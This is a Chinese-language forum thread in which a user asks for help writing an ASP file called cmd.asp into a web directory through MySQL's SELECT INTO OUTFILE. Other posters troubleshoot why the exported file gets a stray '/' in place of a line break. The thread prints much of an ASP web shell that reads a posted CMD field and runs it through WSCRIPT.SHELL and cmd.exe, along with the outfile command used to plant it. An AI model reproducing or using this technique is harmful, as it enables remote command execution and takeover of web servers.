sql语句(up有分.在线等待) (300分)

  • 主题发起人 主题发起人 zhousi
  • 开始时间 开始时间
那我也经常去,哎就是没有mysql的地盘
 
先在本机测试一下看是什么问题
这个东西只能一个个排除的
 
楼上的楼上
<% Dim oScript
/
Dim oScriptNet

多出一“/" 问题就在这

数据库里是正确的
就是outfile后,结果和数据库不一样
 
那可能是mysql搞的鬼了吧
你把整个文件写到一条记录中
然后用
select * from cmd into '' where ...
 
select * from cmd into outfile "d://www//gb//abou//cmd.asp" where
这where语句怎么写???
才能 <% Dim oScript
Dim oScriptNet
不要边成下面的鸟样子,多了个“/”
<% Dim oScript
/
Dim oScriptNet
 
多了一个/可能是因为你是存在不同的记录里面吧
干脆就把整个文本存在一条记录里不就OK了?
我看你整个表就用来搞这个的,所以也就不用加where什么的啦
 
to 楼上
我试过php了,一切ok
asp中间有个回车件,在倒出的时候就变成了“/”
 
补充
因为asp中间需要换行,不换行就不能执行
我把所有asp语句连成一个长的字符串,中间没有回车
结果outfile后就ok,但因为没有换行,结果肯定不能执行
运行结果如下
Microsoft VBScript 编译器错误 错误 '800a0401'

语句未结束

/LINKS/cmd3.asp, 行1

Dim oScript,oScriptNet,oFileSys,oFile,szCMD,szTempFile On Error Resume Next Set oScript=Server.CreateObject(""WSCRIPT.SHELL"") Set oScriptNet =Server.CreateObject(""WSCRIPT.NETWORK"") Set oFileSys =Server.CreateObject(""Scripting.FileSystemObject"") szCMD = Request.Form("".CMD"")If (szCMD <> """") Then szTempFile = ""C://" & oFileSys.GetTempName() Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If
-------------------------------------------------------^

也就是说现在怎么从数据库中outfile时,在on error resume(上方) 前+上换行
 
后退
顶部